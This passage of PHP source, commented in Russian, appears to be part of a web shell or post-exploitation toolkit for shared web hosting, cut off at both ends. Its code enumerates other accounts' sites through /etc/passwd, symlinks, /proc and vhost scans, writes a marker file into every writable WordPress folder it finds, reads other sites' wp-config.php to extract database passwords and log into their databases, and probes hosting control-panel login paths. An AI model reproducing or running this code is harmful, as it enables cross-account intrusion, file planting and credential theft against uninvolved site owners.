            $results['method_errors'][] = array('method' => 'db_discovery', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'db_discovery', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 7: Symlink discovery ====================
    if ($use_symlinks) {
        try {
        $results['methods_used'][] = 'symlink_grab';
        $symlink_result = symlink_grab();
        
        if (!empty($symlink_result['discovered_paths'])) {
            foreach ($symlink_result['discovered_paths'] as $sp) {
                $path = is_array($sp) ? (isset($sp['target']) ? $sp['target'] : '') : $sp;
                if ($path && !isset($seen_paths[$path]) && @is_dir($path)) {
                    $all_neighbors[] = array(
                        'path' => $path,
                        'source' => 'symlink_discovery'
                    );
                    $seen_paths[$path] = true;
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'symlink_grab', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'symlink_grab', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 8: Config grab ====================
    try {
    $results['methods_used'][] = 'config_grab';
    $config_result = config_grab();
    
    if (!empty($config_result['discovered_paths'])) {
        foreach ($config_result['discovered_paths'] as $cfgp) {
            if ($cfgp && !isset($seen_paths[$cfgp]) && @is_dir($cfgp)) {
                $all_neighbors[] = array(
                    'path' => $cfgp,
                    'source' => 'config_grab'
                );
                $seen_paths[$cfgp] = true;
            }
        }
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'config_grab', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'config_grab', 'error' => $e->getMessage());
    }
    
    // ==================== МЕТОД 9: /etc/passwd enumeration ====================
    try {
    $results['methods_used'][] = 'passwd_enumeration';
    $users = users_from_passwd(500);
    
    $home_patterns = array(
        // Standard cPanel/DirectAdmin
        '/home/{user}/public_html',
        '/home/{user}/www',
        '/home/{user}/htdocs',
        '/home/{user}/web',
        '/home/{user}/domains',
        // Plesk
        '/var/www/vhosts/{user}',
        '/var/www/vhosts/{user}/httpdocs',
        '/var/www/vhosts/{user}/htdocs',
        // SRV structures
        '/srv/vhost/{user}',
        '/srv/vhosts/{user}',
        '/srv/www/{user}',
        '/srv/http/{user}',
        '/srv/users/{user}/www',
        '/srv/users/{user}/public_html',
        // Standard locations
        '/var/www/{user}',
        '/var/www/html/{user}',
        '/var/www/clients/{user}',
        '/home/httpd/{user}',
        // Home subdomains
        '/home/{user}/subdomains',
        '/home/{user}/addon_domains',
        // ISPConfig
        '/var/www/clients/client0/web{user}',
        '/var/www/clients/client1/web{user}'
    );
    
    foreach ($users as $user) {
        foreach ($home_patterns as $pattern) {
            $path = str_replace('{user}', $user, $pattern);
            if (!isset($seen_paths[$path]) && @is_dir($path)) {
                $all_neighbors[] = array(
                    'path' => $path,
                    'source' => 'passwd_enum',
                    'user' => $user,
                    'is_wp' => is_wp_root($path)
                );
                $seen_paths[$path] = true;
            }
        }
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'passwd_enumeration', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'passwd_enumeration', 'error' => $e->getMessage());
    }
    
    // ==================== МЕТОД 10: Blind home globs ====================
    try {
    $results['methods_used'][] = 'blind_home_globs';
    $blind_globs = home_user_blind_globs();
    
    foreach ($blind_globs as $bg) {
        $path = is_array($bg) ? (isset($bg['path']) ? $bg['path'] : '') : $bg;
        if ($path && !isset($seen_paths[$path])) {
            $all_neighbors[] = array(
                'path' => $path,
                'source' => 'blind_glob'
            );
            $seen_paths[$path] = true;
        }
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'blind_home_globs', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'blind_home_globs', 'error' => $e->getMessage());
    }
    
    // ==================== МЕТОД 11: Shared Memory paths ====================
    if ($use_shm) {
        try {
        $results['methods_used'][] = 'shared_memory';
        $shm_result = shared_memory_attacks();
        
        // /dev/shm файлы могут содержать пути
        if (!empty($shm_result['dev_shm_files'])) {
            foreach ($shm_result['dev_shm_files'] as $shm_file) {
                if ($shm_file['readable']) {
                    $content = @file_get_contents($shm_file['path']);
                    if ($content && preg_match_all('#(/home/[a-z0-9_-]+/[^\s\x00]+)#i', $content, $matches)) {
                        foreach ($matches[1] as $found_path) {
                            $found_path = rtrim($found_path, '/');
                            if (!isset($seen_paths[$found_path]) && @is_dir($found_path)) {
                                $all_neighbors[] = array(
                                    'path' => $found_path,
                                    'source' => 'shm_discovery'
                                );
                                $seen_paths[$found_path] = true;
                            }
                        }
                    }
                }
            }
            }
        } catch (Exception $e) {
            $results['method_errors'][] = array('method' => 'shared_memory', 'error' => $e->getMessage());
        } catch (Error $e) {
            $results['method_errors'][] = array('method' => 'shared_memory', 'error' => $e->getMessage());
        }
    }
    
    // ==================== МЕТОД 12: Daemon configs ====================
    try {
    $results['methods_used'][] = 'daemon_configs';
    $daemon_result = find_and_attack_daemons();
    
    if (!empty($daemon_result['config_files'])) {
        foreach ($daemon_result['config_files'] as $cfg) {
            if (!empty($cfg['preview'])) {
                // Парсим пути из конфигов
                if (preg_match_all('#(/home/[a-z0-9_-]+/[^\s\'"]+)#i', $cfg['preview'], $matches)) {
                    foreach ($matches[1] as $found_path) {
                        $found_path = rtrim($found_path, '/');
                        if (!isset($seen_paths[$found_path]) && @is_dir($found_path)) {
                            $all_neighbors[] = array(
                                'path' => $found_path,
                                'source' => 'daemon_config'
                            );
                            $seen_paths[$found_path] = true;
                        }
                    }
                }
            }
        }
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'daemon_configs', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'daemon_configs', 'error' => $e->getMessage());
    }
    
    // ==================== МЕТОД 13: /proc discovery ====================
    try {
    $results['methods_used'][] = 'proc_discovery';
    
    // Сканируем /proc/*/cwd и /proc/*/root
    for ($pid = 1; $pid <= 65535; $pid += 100) {
        $proc_paths = array(
            "/proc/{$pid}/cwd",
            "/proc/{$pid}/root"
        );
        
        foreach ($proc_paths as $pp) {
            $resolved = @readlink($pp);
            if ($resolved && !isset($seen_paths[$resolved]) && @is_dir($resolved)) {
                // Проверяем что это домашняя директория
                if (preg_match('#^/home/[a-z0-9_-]+#i', $resolved)) {
                    $all_neighbors[] = array(
                        'path' => $resolved,
                        'source' => 'proc_discovery',
                        'pid' => $pid
                    );
                    $seen_paths[$resolved] = true;
                }
            }
        }
        
        if (count($all_neighbors) >= $max_neighbors) break;
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'proc_discovery', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'proc_discovery', 'error' => $e->getMessage());
    }
    
    // ==================== МЕТОД 14: Direct vhost/srv scan ====================
    try {
        $results['methods_used'][] = 'direct_vhost_scan';
        
        // Прямые пути для сканирования (без {user} - сканируем всё содержимое)
        $direct_scan_roots = array(
            '/srv/vhost',
            '/srv/vhosts', 
            '/srv/www',
            '/srv/http',
            '/srv/users',
            '/var/www/vhosts',
            '/var/www/clients',
            '/var/www/html',
            '/var/www',
            '/home',
            '/home2',
            '/home3',
            '/home4',
            '/usr/local/apache/htdocs',
            '/usr/share/nginx/html',
            '/web',
            '/websites',
            '/sites',
            '/vhosts',
            '/data/www',
            '/data/sites'
        );
        
        foreach ($direct_scan_roots as $root) {
            if (!@is_dir($root) || !@is_readable($root)) continue;
            
            // Сканируем первый уровень
            $entries = @scandir($root);
            if (!$entries) continue;
            
            foreach ($entries as $entry) {
                if ($entry === '.' || $entry === '..') continue;
                $full_path = $root . '/' . $entry;
                
                if (!@is_dir($full_path)) continue;
                if (isset($seen_paths[$full_path])) continue;
                
                // Проверяем типичные подпапки для веб-контента
                $web_subdirs = array(
                    '', // сама папка
                    '/public_html',
                    '/www', 
                    '/htdocs',
                    '/httpdocs',
                    '/html',
                    '/web',
                    '/public',
                    '/site'
                );
                
                foreach ($web_subdirs as $subdir) {
                    $check_path = $full_path . $subdir;
                    if (!@is_dir($check_path)) continue;
                    if (isset($seen_paths[$check_path])) continue;
                    
                    // Проверяем есть ли там веб-контент (index.php, wp-config.php, .htaccess)
                    $has_web_content = @file_exists($check_path . '/index.php') ||
                                       @file_exists($check_path . '/wp-config.php') ||
                                       @file_exists($check_path . '/.htaccess') ||
                                       @file_exists($check_path . '/index.html');
                    
                    if ($has_web_content || $subdir !== '') {
                        $all_neighbors[] = array(
                            'path' => $check_path,
                            'source' => 'direct_vhost_scan',
                            'user' => $entry,
                            'is_wp' => is_wp_root($check_path)
                        );
                        $seen_paths[$check_path] = true;
                        
                        if (count($all_neighbors) >= $max_neighbors) break 3;
                    }
                }
            }
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'direct_vhost_scan', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'direct_vhost_scan', 'error' => $e->getMessage());
    }
    
    // ==================== МЕТОД 15: Domain-based glob scan ====================
    try {
        $results['methods_used'][] = 'domain_glob_scan';
        
        // Glob паттерны для поиска доменов
        $domain_globs = array(
            '/srv/vhost/*',
            '/srv/vhosts/*',
            '/var/www/vhosts/*',
            '/var/www/vhosts/*/httpdocs',
            '/var/www/vhosts/*/htdocs',
            '/home/*/public_html',
            '/home/*/domains/*',
            '/home/*/domains/*/public_html',
            '/home2/*/public_html',
            '/var/www/clients/client*/web*',
            '/srv/users/*/www',
            '/srv/users/*/public_html',
            '/web/*/public_html',
            '/websites/*'
        );
        
        foreach ($domain_globs as $pattern) {
            $matches = @glob($pattern);
            if (!$matches) continue;
            
            foreach ($matches as $match) {
                if (!@is_dir($match)) continue;
                if (isset($seen_paths[$match])) continue;
                
                $all_neighbors[] = array(
                    'path' => $match,
                    'source' => 'domain_glob_scan',
                    'is_wp' => is_wp_root($match)
                );
                $seen_paths[$match] = true;
                
                if (count($all_neighbors) >= $max_neighbors) break 2;
            }
        }
    } catch (Exception $e) {
        $results['method_errors'][] = array('method' => 'domain_glob_scan', 'error' => $e->getMessage());
    } catch (Error $e) {
        $results['method_errors'][] = array('method' => 'domain_glob_scan', 'error' => $e->getMessage());
    }
    
    // Ограничиваем количество соседей
    $all_neighbors = array_slice($all_neighbors, 0, $max_neighbors);
    
    // Добавляем информацию о домене к каждому соседу
    foreach ($all_neighbors as $idx => $neighbor) {
        try {
            $domain_info = derive_domain_full($neighbor['path']);
            $all_neighbors[$idx]['domain'] = $domain_info['domain'];
            $all_neighbors[$idx]['protocol'] = $domain_info['protocol'];
            $all_neighbors[$idx]['domain_method'] = $domain_info['success_method'];
        } catch (Exception $e) {
            $all_neighbors[$idx]['domain'] = null;
            $all_neighbors[$idx]['domain_error'] = $e->getMessage();
        } catch (Error $e) {
            $all_neighbors[$idx]['domain'] = null;
            $all_neighbors[$idx]['domain_error'] = $e->getMessage();
        }
        
        // Если WP root - пытаемся получить версию
        if (is_wp_root($neighbor['path'])) {
            $all_neighbors[$idx]['is_wp'] = true;
            $all_neighbors[$idx]['wp_version'] = wp_version($neighbor['path']);
        }
    }
    
    $results['neighbors_found'] = $all_neighbors;
    $results['stats']['total_neighbors'] = count($all_neighbors);
    
    // ==================== ПОИСК WRITABLE PATHS ====================
    $writable_paths = array();
    
    foreach ($all_neighbors as $neighbor) {
        $base_path = $neighbor['path'];
        
        // Проверяем типичные writable директории
        $check_dirs = array(
            $base_path,
            $base_path . '/wp-content',
            $base_path . '/wp-content/uploads',
            $base_path . '/wp-content/plugins',
            $base_path . '/wp-content/themes',
            $base_path . '/wp-content/cache',
            $base_path . '/wp-includes',
            $base_path . '/cache',
            $base_path . '/tmp',
            $base_path . '/logs',
            $base_path . '/uploads'
        );
        
        foreach ($check_dirs as $dir) {
            if (@is_dir($dir) && @is_writable($dir)) {
                $writable_paths[] = array(
                    'path' => $dir,
                    'neighbor' => $base_path,
                    'source' => $neighbor['source'],
                    'is_wp_content' => (strpos($dir, 'wp-content') !== false),
                    'domain' => isset($neighbor['domain']) ? $neighbor['domain'] : null,
                    'protocol' => isset($neighbor['protocol']) ? $neighbor['protocol'] : 'http'
                );
            }
        }
    }
    
    $results['writable_paths'] = $writable_paths;
    $results['stats']['total_writable'] = count($writable_paths);
    
    // ==================== ДЕПЛОЙ МАРКЕРА ====================
    $deploy_results = array();
    $successful = 0;
    $failed = 0;
    
    foreach ($writable_paths as $wp) {
        $target_dir = $wp['path'];
        
        // Добавляем субдиректорию если указана
        if ($subdir) {
            $target_dir = rtrim($target_dir, '/') . '/' . ltrim($subdir, '/');
            if (!@is_dir($target_dir)) {
                @mkdir($target_dir, 0755, true);
            }
        }
        
        $target_file = rtrim($target_dir, '/') . '/' . $marker_name;
        
        // Проверяем существование файла
        if (@file_exists($target_file) && !$overwrite) {
            $skip_url_info = derive_url_from_path($target_file);
            $skip_domain = isset($wp['domain']) ? $wp['domain'] : (isset($skip_url_info['domain']) ? $skip_url_info['domain'] : null);
            $skip_protocol = isset($wp['protocol']) ? $wp['protocol'] : 'http';
            $skip_full_url = null;
            if ($skip_domain && isset($skip_url_info['relative'])) {
                $skip_full_url = $skip_protocol . '://' . $skip_domain . $skip_url_info['relative'];
            }
            $deploy_results[] = array(
                'target' => $target_file,
                'neighbor' => $wp['neighbor'],
                'source' => $wp['source'],
                'domain' => $skip_domain,
                'status' => 'skipped',
                'reason' => 'file exists',
                'url' => $skip_full_url,
                'relative_url' => isset($skip_url_info['relative']) ? $skip_url_info['relative'] : null
            );
            continue;
        }
        
        // Получаем информацию о домене и URL
        $url_info = derive_url_from_path($target_file);
        $domain = isset($wp['domain']) ? $wp['domain'] : (isset($url_info['domain']) ? $url_info['domain'] : null);
        $protocol = isset($wp['protocol']) ? $wp['protocol'] : (isset($url_info['protocol']) ? $url_info['protocol'] : 'http');
        $full_url = null;
        
        if ($domain && isset($url_info['relative'])) {
            $full_url = $protocol . '://' . $domain . $url_info['relative'];
        } elseif (isset($url_info['url'])) {
            $full_url = $url_info['url'];
        }
        
        if ($dry_run) {
            $deploy_results[] = array(
                'target' => $target_file,
                'neighbor' => $wp['neighbor'],
                'source' => $wp['source'],
                'domain' => $domain,
                'status' => 'dry_run',
                'would_deploy' => true,
                'url' => $full_url,
                'relative_url' => isset($url_info['relative']) ? $url_info['relative'] : null,
                'url_method' => isset($url_info['method']) ? $url_info['method'] : null
            );
            $successful++;
            continue;
        }
        
        // Пробуем записать
        $written = @file_put_contents($target_file, $marker_content);
        
        if ($written !== false) {
            $deploy_results[] = array(
                'target' => $target_file,
                'neighbor' => $wp['neighbor'],
                'source' => $wp['source'],
                'domain' => $domain,
                'status' => 'success',
                'bytes' => $written,
                'url' => $full_url,
                'relative_url' => isset($url_info['relative']) ? $url_info['relative'] : null,
                'url_method' => isset($url_info['method']) ? $url_info['method'] : null
            );
            $successful++;
        } else {
            $deploy_results[] = array(
                'target' => $target_file,
                'neighbor' => $wp['neighbor'],
                'source' => $wp['source'],
                'domain' => $domain,
                'status' => 'failed',
                'error' => error_get_last() ? error_get_last()['message'] : 'Unknown error'
            );
            $failed++;
        }
    }
    
    $results['deploy_results'] = $deploy_results;
    $results['stats']['successful_deploys'] = $successful;
    $results['stats']['failed_deploys'] = $failed;
    $results['stats']['execution_time'] = round(microtime(true) - $start_time, 2);
    
    return $results;
}

/**
 * Комплексное определение домена для пути (улучшенная версия)
 * Использует все доступные методы
 */
function derive_domain_full($path) {
    $result = array(
        'domain' => null,
        'protocol' => 'http',
        'methods_tried' => array(),
        'success_method' => null
    );
    
    // Нормализуем путь
    $path = rtrim($path, '/');
    
    // Ищем WP root для этого пути
    $wp_root = null;
    $check = $path;
    for ($i = 0; $i < 10; $i++) {
        if (is_wp_root($check)) {
            $wp_root = $check;
            break;
        }
        $parent = dirname($check);
        if ($parent === $check) break;
        $check = $parent;
    }
    
    // МЕТОД 1: wp-config.php (WP_HOME, WP_SITEURL)
    $result['methods_tried'][] = 'wp_config';
    if ($wp_root) {
        $urls = wp_known_urls($wp_root);
        foreach ($urls as $u) {
            if (preg_match('#(https?)://([^/]+)#i', $u, $m)) {
                $result['domain'] = strtolower($m[2]);
                $result['protocol'] = $m[1];
                $result['success_method'] = 'wp_config';
                return $result;
            }
        }
    }
    
    // МЕТОД 2: Читаем siteurl из БД
    $result['methods_tried'][] = 'database';
    if ($wp_root && @is_readable($wp_root . '/wp-config.php')) {
        try {
            $cfg = @file_get_contents($wp_root . '/wp-config.php');
            if ($cfg) {
                $db = array();
                if (preg_match("/define\\s*\\(\\s*['\"]DB_NAME['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['name'] = $m[1];
                if (preg_match("/define\\s*\\(\\s*['\"]DB_USER['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['user'] = $m[1];
                if (preg_match("/define\\s*\\(\\s*['\"]DB_PASSWORD['\"]\\s*,\\s*['\"]([^']*)['\"]/i", $cfg, $m)) $db['pass'] = $m[1];
                if (preg_match("/define\\s*\\(\\s*['\"]DB_HOST['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['host'] = $m[1];
                if (preg_match("/\\\$table_prefix\\s*=\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['prefix'] = $m[1];
                
                if (!empty($db['name']) && !empty($db['user']) && !empty($db['host'])) {
                    $host = $db['host'];
                    $port = 3306;
                    if (strpos($host, ':') !== false) {
                        list($host, $port) = explode(':', $host);
                    }
                    $prefix = isset($db['prefix']) ? $db['prefix'] : 'wp_';
                    // Отключаем выброс исключений mysqli
                    mysqli_report(MYSQLI_REPORT_OFF);
                    $conn = @new mysqli($host, $db['user'], isset($db['pass']) ? $db['pass'] : '', $db['name'], (int)$port);
                    if ($conn && !$conn->connect_error) {
                        $r = @$conn->query("SELECT option_value FROM {$prefix}options WHERE option_name IN ('siteurl','home') LIMIT 1");
                        if ($r && $row = $r->fetch_assoc()) {
                            if (preg_match('#(https?)://([^/]+)#i', $row['option_value'], $m)) {
                                $result['domain'] = strtolower($m[2]);
                                $result['protocol'] = $m[1];
                                $result['success_method'] = 'database';
                                @$conn->close();
                                return $result;
                            }
                        }
                        @$conn->close();
                    }
                }
            }
        } catch (Exception $e) {
            // Игнорируем ошибки БД, продолжаем с другими методами
        } catch (Error $e) {
            // Игнорируем ошибки БД, продолжаем с другими методами
        }
    }
    
    // МЕТОД 3: .htaccess ServerName/RewriteBase
    $result['methods_tried'][] = 'htaccess';
    $htaccess_paths = array($path . '/.htaccess');
    if ($wp_root) $htaccess_paths[] = $wp_root . '/.htaccess';
    foreach ($htaccess_paths as $hf) {
        if (@is_readable($hf)) {
            $htc = @file_get_contents($hf);
            if ($htc) {
                // ServerName в htaccess
                if (preg_match('/ServerName\s+([a-z0-9.-]+)/i', $htc, $m)) {
                    if (is_valid_domain($m[1])) {
                        $result['domain'] = strtolower($m[1]);
                        $result['success_method'] = 'htaccess';
                        return $result;
                    }
                }
            }
        }
    }
    
    // МЕТОД 4: Apache/Nginx vhosts
    $result['methods_tried'][] = 'vhosts';
    $vhost_paths = array(
        '/etc/apache2/sites-enabled',
        '/etc/httpd/conf.d',
        '/etc/nginx/sites-enabled',
        '/etc/nginx/conf.d',
        '/usr/local/apache/conf/vhosts',
        '/usr/local/nginx/conf/vhosts'
    );
    foreach ($vhost_paths as $vp) {
        if (@is_dir($vp)) {
            $files = @scandir($vp);
            if ($files) {
                foreach ($files as $f) {
                    if ($f === '.' || $f === '..') continue;
                    $vf = $vp . '/' . $f;
                    if (@is_readable($vf)) {
                        $vc = @file_get_contents($vf);
                        if ($vc && strpos($vc, $path) !== false) {
                            // Ищем ServerName или server_name
                            if (preg_match('/(?:ServerName|server_name)\s+([a-z0-9.-]+)/i', $vc, $m)) {
                                if (is_valid_domain($m[1])) {
                                    $result['domain'] = strtolower($m[1]);
                                    $result['success_method'] = 'vhosts';
                                    return $result;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    
    // МЕТОД 5: Панель управления (cPanel, Plesk, DirectAdmin, ISPConfig)
    $result['methods_tried'][] = 'panel_configs';
    
    // cPanel userdata
    if (preg_match('#/home/([^/]+)/#', $path, $m)) {
        $user = $m[1];
        $cpanel_main = "/var/cpanel/userdata/{$user}/main";
        if (@is_readable($cpanel_main)) {
            $cpd = @file_get_contents($cpanel_main);
            if ($cpd && preg_match('/main_domain:\s*([a-z0-9.-]+)/i', $cpd, $m)) {
                $result['domain'] = strtolower($m[1]);
                $result['success_method'] = 'cpanel';
                return $result;
            }
        }
        
        // DirectAdmin domains
        $da_domains = "/usr/local/directadmin/data/users/{$user}/domains.list";
        if (@is_readable($da_domains)) {
            $doms = @file($da_domains, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            if ($doms && count($doms) > 0) {
                $result['domain'] = strtolower(trim($doms[0]));
                $result['success_method'] = 'directadmin';
                return $result;
            }
        }
        
        // ISPConfig
        $isp_client = "/usr/local/ispconfig/server/lib/config.inc.php";
        // Сложнее, пропускаем для скорости
    }
    
    // Plesk vhost.conf
    if (preg_match('#/var/www/vhosts/([^/]+)/#', $path, $m)) {
        $potential_domain = $m[1];
        if (is_valid_domain($potential_domain)) {
            $result['domain'] = strtolower($potential_domain);
            $result['success_method'] = 'plesk_path';
            return $result;
        }
    }
    
    // МЕТОД 6: Структура пути (извлечение домена)
    $result['methods_tried'][] = 'path_analysis';
    $segments = explode('/', trim($path, '/'));
    
    // Паттерны путей с доменами
    $domain_patterns = array(
        // /var/www/vhosts/domain.com/httpdocs
        '#/var/www/vhosts/([^/]+)/#' => 1,
        // /home/user/domains/domain.com/public_html
        '#/home/[^/]+/domains/([^/]+)/#' => 1,
        // /home/user/domain.com/public_html
        '#/home/[^/]+/([a-z0-9][a-z0-9.-]+\.[a-z]{2,})/(?:public_html|www|htdocs|web)#i' => 1,
        // /srv/www/domain.com
        '#/srv/www/([^/]+)/#' => 1,
        // /var/www/domain.com
        '#/var/www/([a-z0-9][a-z0-9.-]+\.[a-z]{2,})/#i' => 1,
        // ISPConfig /var/www/clients/clientN/webN
        '#/var/www/clients/client\d+/web\d+#' => 0
    );
    
    foreach ($domain_patterns as $pattern => $group) {
        if (preg_match($pattern, $path, $m) && $group > 0) {
            $potential = $m[$group];
            if (is_valid_domain($potential)) {
                $result['domain'] = strtolower($potential);
                $result['success_method'] = 'path_pattern';
                return $result;
            }
        }
    }
    
    // Проверяем каждый сегмент пути
    foreach ($segments as $seg) {
        if (is_valid_domain($seg)) {
            $result['domain'] = strtolower($seg);
            $result['success_method'] = 'path_segment';
            return $result;
        }
    }
    
    // МЕТОД 7: SSL сертификаты (если есть доступ)
    $result['methods_tried'][] = 'ssl_certs';
    if (preg_match('#/home/([^/]+)/#', $path, $m)) {
        $user = $m[1];
        $ssl_paths = array(
            "/home/{$user}/ssl",
            "/etc/letsencrypt/live",
            "/var/cpanel/ssl/installed/certs"
        );
        foreach ($ssl_paths as $sp) {
            if (@is_dir($sp)) {
                $certs = @scandir($sp);
                if ($certs) {
                    foreach ($certs as $c) {
                        if ($c !== '.' && $c !== '..' && is_valid_domain($c)) {
                            $result['domain'] = strtolower($c);
                            $result['protocol'] = 'https';
                            $result['success_method'] = 'ssl_cert';
                            return $result;
                        }
                    }
                }
            }
        }
    }
    
    // МЕТОД 8: Анализ логов доступа
    $result['methods_tried'][] = 'access_logs';
    $log_paths = array();
    if (preg_match('#/home/([^/]+)/#', $path, $m)) {
        $user = $m[1];
        $log_paths = array(
            "/home/{$user}/logs/access.log",
            "/home/{$user}/access-logs",
            "/var/log/apache2/access.log",
            "/var/log/httpd/access_log"
        );
    }
    foreach ($log_paths as $lp) {
        if (@is_readable($lp)) {
            // Читаем последние строки
            $cmd = "tail -n 50 " . escapeshellarg($lp) . " 2>/dev/null";
            $log = @shell_exec($cmd);
            if ($log && preg_match('/Host:\s*([a-z0-9.-]+)/i', $log, $m)) {
                if (is_valid_domain($m[1])) {
                    $result['domain'] = strtolower($m[1]);
                    $result['success_method'] = 'access_logs';
                    return $result;
                }
            }
        }
    }
    
    // МЕТОД 9: Файл .user.ini или php.ini
    $result['methods_tried'][] = 'php_ini';
    $ini_paths = array($path . '/.user.ini', $path . '/php.ini');
    if ($wp_root) {
        $ini_paths[] = $wp_root . '/.user.ini';
    }
    foreach ($ini_paths as $ip) {
        if (@is_readable($ip)) {
            $ini = @file_get_contents($ip);
            if ($ini && preg_match('/(?:session\.cookie_domain|mail\.domain)\s*=\s*["\']?([a-z0-9.-]+)/i', $ini, $m)) {
                if (is_valid_domain($m[1])) {
                    $result['domain'] = strtolower($m[1]);
                    $result['success_method'] = 'php_ini';
                    return $result;
    }
            }
        }
    }
    
    // МЕТОД 10: Имя пользователя как поддомен (последняя попытка)
    $result['methods_tried'][] = 'username_guess';
    if (preg_match('#/home/([a-z0-9_-]+)/#i', $path, $m)) {
        $user = $m[1];
        // Проверяем есть ли резолв для user.domain.tld
        $server_domain = isset($_SERVER['HTTP_HOST']) ? preg_replace('/^[^.]+\./', '', $_SERVER['HTTP_HOST']) : '';
        if ($server_domain && is_valid_domain($user . '.' . $server_domain)) {
            $result['domain'] = $user . '.' . $server_domain;
            $result['success_method'] = 'username_subdomain';
            return $result;
        }
    }
    
    return $result;
}

/**
 * Получить полный URL из пути к файлу (улучшенная версия)
 */
function derive_url_from_path($file_path) {
    $domain_info = derive_domain_full($file_path);
    
    if (!$domain_info['domain']) {
        // Fallback: возвращаем относительный путь
        if (preg_match('#/home/([^/]+)/(?:public_html|www|htdocs|web|domains/[^/]+/(?:public_html|www))/(.*)#', $file_path, $m)) {
            return array(
                'url' => null,
                'relative' => '/' . $m[2],
                'domain' => null,
                'method' => 'fallback_relative'
            );
        }
        if (preg_match('#/var/www/(?:vhosts/[^/]+/(?:httpdocs|htdocs)|html)/(.*)#', $file_path, $m)) {
            return array(
                'url' => null,
                'relative' => '/' . $m[1],
                'domain' => null,
                'method' => 'fallback_relative'
            );
        }
        return array(
            'url' => null,
            'relative' => null,
            'domain' => null,
            'method' => 'failed'
        );
    }
    
    // Определяем относительный путь
    $relative = '';
    $patterns = array(
        '#/home/[^/]+/(?:public_html|www|htdocs|web)/(.*)$#',
        '#/home/[^/]+/domains/[^/]+/(?:public_html|www|htdocs)/(.*)$#',
        '#/var/www/vhosts/[^/]+/(?:httpdocs|htdocs)/(.*)$#',
        '#/var/www/html/(.*)$#',
        '#/var/www/[^/]+/(.*)$#',
        '#/srv/www/[^/]+/(.*)$#'
    );
    
    foreach ($patterns as $p) {
        if (preg_match($p, $file_path, $m)) {
            $relative = '/' . ltrim($m[1], '/');
            break;
        }
    }
    
    $url = $domain_info['protocol'] . '://' . $domain_info['domain'] . $relative;
    
    return array(
        'url' => $url,
        'relative' => $relative,
        'domain' => $domain_info['domain'],
        'protocol' => $domain_info['protocol'],
        'method' => $domain_info['success_method'],
        'methods_tried' => $domain_info['methods_tried']
    );
}

/**
 * Удаление всех деплоенных маркеров
 */
function mass_neighbor_marker_cleanup($marker_name = 'marker.txt', $deploy_results = array()) {
    $cleanup_results = array();
    
    foreach ($deploy_results as $deploy) {
        if ($deploy['status'] === 'success' && !empty($deploy['target'])) {
            $deleted = @unlink($deploy['target']);
            $cleanup_results[] = array(
                'target' => $deploy['target'],
                'deleted' => $deleted
            );
        }
    }
    
    return $cleanup_results;
}

/**
 * Быстрый скан соседей без деплоя (только разведка)
 */
function quick_neighbor_scan($max_neighbors = 100) {
    return mass_neighbor_marker_deploy('', '', array(
        'dry_run' => true,
        'max_neighbors' => $max_neighbors
    ));
}

// ==================== НОВЫЕ ФУНКЦИИ ИЗ "Что нужно внедрить.txt" ====================

/**
 * Обнаружение панелей управления хостингом (cPanel, Plesk, DirectAdmin и т.д.)
 */
function detect_hosting_panels() {
    $panels = array();
    
    // cPanel
    $cpanel_paths = array(
        '/cpanel', '/cpanel/login', '/cpanel2', '/webmail', '/whm', 
        '/2082', '/2083', '/2086', '/2087', '/2095', '/2096',
        '/cpanel/logout', '/cpanel/forgotpwd', '/cpanel/contact'
    );
    
    // Plesk
    $plesk_paths = array(
        '/plesk', '/plesk-admin', '/plesk/login', '/plesk/stat',
        '/8443', '/8880', '/8888', '/4643'
    );
    
    // DirectAdmin
    $da_paths = array(
        '/2222', '/directadmin', '/admin', '/administrator',
        '/CMD_LOGIN', '/CMD_ADMIN', '/CMD_SHOW_DOMAIN'
    );
    
    // ISPConfig
    $ispconfig_paths = array(
        '/8080', '/:8080', '/ispserver', '/admin', '/login.php'
    );
    
    // Webmin
    $webmin_paths = array(
        '/10000', '/webmin', '/webmin/login', '/syslogin',
        '/session_login.cgi'
    );
    
    $all_paths = array_merge($cpanel_paths, $plesk_paths, $da_paths, $ispconfig_paths, $webmin_paths);
    
    $current_host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    $protocols = array('http://', 'https://');
    $detected = array();
    
    if (!function_exists('curl_init')) {
        return array('error' => 'curl not available', 'detected' => array());
    }
    
    foreach ($all_paths as $path) {
        foreach ($protocols as $protocol) {
            $url = $protocol . $current_host . $path;
            
            $ch = curl_init();
            curl_setopt_array($ch, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 3,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_NOBODY => true,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Scanner)'
            ));
            
            curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
